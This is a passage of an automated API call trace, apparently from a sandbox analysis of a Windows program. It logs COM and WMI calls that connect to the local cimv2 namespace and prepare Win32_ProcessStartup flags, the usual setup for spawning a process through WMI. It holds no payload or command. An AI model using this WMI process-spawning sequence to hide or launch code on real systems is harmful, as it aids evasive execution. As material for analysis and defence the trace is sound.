WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0470, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0072.175] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0470, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0072.175] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0470, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0072.176] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0072.176] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0072.176] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0072.176] IUnknown:Release (This=0x111f638) returned 0x1 [0072.177] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1beaa810) returned 0x0 [0072.177] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa810, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0072.177] WbemLocator:IClassFactory:CreateInstance (in: This=0x1beaa810, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1beaa830) returned 0x0 [0072.177] WbemLocator:IUnknown:Release (This=0x1beaa810) returned 0x0 [0072.177] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa830, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1beaa830) returned 0x0 [0072.177] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa830, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0072.178] WbemLocator:IUnknown:AddRef (This=0x1beaa830) returned 0x3 [0072.178] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa830, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0072.178] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa830, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0072.178] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa830, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0072.178] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0072.178] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0072.178] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa830, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0072.178] WbemLocator:IUnknown:Release (This=0x1beaa830) returned 0x2 [0072.178] WbemLocator:IUnknown:Release (This=0x1beaa830) returned 0x1 [0072.178] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0072.178] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0072.178] WbemLocator:IUnknown:QueryInterface (in: This=0x1beaa830, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1beaa830) returned 0x0 [0072.178] WbemLocator:IUnknown:AddRef (This=0x1beaa830) returned 0x3 [0072.178] WbemLocator:IUnknown:Release (This=0x1beaa830) returned 0x2 [0072.179] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0470, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0072.179] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0470, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0072.179] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0470, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0072.179] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1beaa850) returned 0x0 [0072.179] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1beaa850, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bed2270) returned 0x0 [0072.380] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed2270, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x11e0620) returned 0x0 [0072.380] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11e0620, pProxy=0x1bed2270, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0072.380] WbemLocator:IUnknown:Release (This=0x11e0620) returned 0x1 [0072.380] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed2270, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x11e0660) returned 0x0 [0072.380] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed2270, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x11e0620) returned 0x0 [0072.380] WbemLocator:IClientSecurity:SetBlanket (This=0x11e0620, pProxy=0x1bed2270, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0072.381] WbemLocator:IUnknown:Release (This=0x11e0620) returned 0x2 [0072.381] WbemLocator:IUnknown:Release (This=0x11e0660) returned 0x1 [0072.381] CoTaskMemFree (pv=0x1bed0500) [0072.381] WbemLocator:IUnknown:AddRef (This=0x1bed2270) returned 0x2 [0072.381] WbemLocator:IUnknown:Release (This=0x1beaa850) returned 0x0 [0072.381] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0072.382] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0072.382] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed2270, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x11e0630) returned 0x0 [0072.382] WbemLocator:IRpcOptions:Query (in: This=0x11e0630, pPrx=0x1beaa7b0, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0072.382] WbemLocator:IUnknown:Release (This=0x11e0630) returned 0x2 [0072.382] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0072.382] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0072.382] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed2270, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bed2270) returned 0x0 [0072.382] WbemLocator:IUnknown:Release (This=0x1bed2270) returned 0x2 [0072.382] SysStringLen (param_1=0x0) returned 0x0 [0072.382] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0530, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0072.382] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0530, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0072.383] IWbemServices:GetObject (in: This=0x1bed2270, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x11ea300, ppCallResult=0x0) returned 0x0 [0072.384] IWbemClassObject:Get (in: This=0x11ea300, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0072.385] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0072.385] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0072.385] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0072.385] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0072.385] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0072.385] IUnknown:Release (This=0x111f638) returned 0x1 [0072.387] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1beaa850) returned 0x0 [0072.387] WbemDefPath:IUnknown:QueryInterface (in: This=0x1beaa850, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0072.388] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1beaa850, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1bea03b0) returned 0x0 [0072.388] WbemDefPath:IUnknown:Release (This=0x1beaa850) returned 0x0 [0072.388] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea03b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1bea03b0) returned 0x0 [0072.388] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea03b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0072.388] WbemDefPath:IUnknown:AddRef (This=0x1bea03b0) returned 0x3 [0072.388] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea03b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0072.388] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea03b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0072.388] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea03b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1beaa770) returned 0x0 [0072.388] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1beaa770, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0072.388] WbemDefPath:IUnknown:Release (This=0x1beaa770) returned 0x3 [0072.388] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0072.388] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0072.389] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea03b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0072.389] WbemDefPath:IUnknown:Release (This=0x1bea03b0) returned 0x2 [0072.389] WbemDefPath:IUnknown:Release (This=0x1bea03b0) returned 0x1 [0072.389] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0072.389] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0072.389] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea03b0, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1bea03b0) returned 0x0 [0072.389] WbemDefPath:IUnknown:AddRef (This=0x1bea03b0) returned 0x3 [0072.389] WbemDefPath:IUnknown:Release (This=0x1bea03b0) returned 0x2 [0072.389] WbemDefPath:IWbemPath:SetText (This=0x1bea03b0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0072.389] IWbemClassObject:Get (in: This=0x11ea300, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b9e28*=0, plFlavor=0x29b9e2c*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b9e28*=19, plFlavor=0x29b9e2c*=0) returned 0x0 [0072.389] IWbemClassObject:Get (in: This=0x11ea300, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b9e28*=19, plFlavor=0x29b9e2c*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b9e28*=19, plFlavor=0x29b9e2c*=0) returned 0x0 [0072.389] IWbemClassObject:Put (This=0x11ea300, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0072.390] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea05f0, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0072.390] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0072.390] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0072.390] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0072.390] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0072.390] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0072.390] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0072.390] IUnknown:Release (This=0x111f638) returned 0x1 [0072.392] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1beaa430) returned 0x0 [0072.392] WbemDefPath:IUnknown:QueryInterface (in: This=0x1beaa430, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0072.392] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1beaa430, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1bea0230) returned 0x0 [0072.393] WbemDefPath:IUnknown:Release (This=0x1beaa430) returned 0x0 [0072.393] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0230, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1bea0230) returned 0x0 [0072.393] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0230, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0072.393] WbemDefPath:IUnknown:AddRef (This=0x1bea0230) returned 0x3 [0072.393] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0230, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0072.393] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0230, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0072.393] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0230, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1beaa470) returned 0x0 [0072.393] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1beaa470, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0072.393] WbemDefPath:IUnknown:Release (This=0x1beaa470) returned 0x3 [0072.393] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0072.393] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0072.394] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0230, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0072.394] WbemDefPath:IUnknown:Release (This=0x1bea0230) returned 0x2 [0072.394] WbemDefPath:IUnknown:Release (This=0x1bea0230) returned 0x1 [0072.394] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0072.394] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0072.394] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0230, 